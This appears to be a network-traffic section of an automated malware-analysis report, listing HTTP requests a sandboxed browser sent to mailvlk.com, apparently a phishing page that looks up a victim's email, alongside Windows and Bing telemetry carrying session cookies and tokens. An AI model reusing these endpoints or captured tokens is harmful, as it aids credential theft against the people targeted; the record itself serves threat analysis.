Source: global traffic	HTTP traffic detected: GET /ASSETS/img/sig-op.svg HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/m_.svg HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/m_.svg HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/sig-op.svg HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6 HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: 120X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAdpEaVUALvzi%2B4T3BgablIS%2BW8e7GqVx7pYMbmXXWto%2BOxs7wssH1ME9/UrkOxQihAL1Udgzz7vCg8vyPFRTwjYo%2BkN6EryOFuUBMSbbCw8x9G0I1dV99l8BqZcKW%2BJ75yS7avOMGnGd4Nk2JOujGFzvTwaiVzDQ0Q6AI1oe4wc01aK0F66fq4C2rCwFLwde/TRZATyCF/dJS5dYWlC9OhIMPwOYtIYpKDbgfhZn4AtqrbChbhLAvciqZIXWuvrHC%2Bkf7LANyVgF83kwm/yTyQvy6FWAs0GEwl1Fv5gFKszbZ8ew/C1F0eP13XW2DhcZoyDCsXvmrBOoZdoCPkLbKhIDZgAACArr3roFmYkUqAHrkAE/nwM55CyGHj85juyddYNQsy5XH5t4ODbWXuZ4wyqV80TbDoJh2dAhzi31Nf4VIJ6Z3DljHfoViS/ZY5Hz%2BevCoFowQcY2qRW4WKx3nmODn05RmO7MDv1WA3TSIFThVlW7JjSb67UR6ZdHgN3wC6UPU2f3Zb/8Ey6/sMzD4%2Bi%2B6N2pYv2K02KUzjB5sVUpIuw9%2Bh3%2BvpDPX2bh1BEIAvIBzu7cqrcuw0QpV5sMP6fk6CLBp3/gdws7mnDtXz3FqRfRtsGfhr1%2BauYcFGQErEesTFPN%2B8AGBlcuiSLybOqbBmqx80mWY6b0qxOw6UHGl7naAEU3A/zjAJM6uDMqhb6F2UWYB1fukjwjYOB9IyVUekPtRfppRQDNvIz9xe1KKHoUI0LSz%2B3GSjrHAw/4F6yk4/cboVIM52AOUZXT/NvIGz1Kj4tQ3jtQ52UhbxWnbemHG27eCeiNMZGsK411PlzY16IZ94pkqBa2gmBD68ckelRrAQ6FyWe4V0QeIu0MdQeM9QbxhIcio0XQBebtxaZpukhU89acYoSl5Dv2Sc22g%2ByKDUVv2QE%3D%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1713966209User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: A399B0218CAF4CAEA3F2C1ED9368597DX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=rickd@gmail.com&_=1713966201970 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-platform-version: "10.0.0"X-Requested-With: XMLHttpRequestsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=rickd@gmail.com&_=1713966201970 HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /jq/8abb7bfd970b4f43108624cbc2c64b5066290cc184dba HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /boot/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbe HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /js/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbf HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /APP-8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bc/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bd HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2 HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
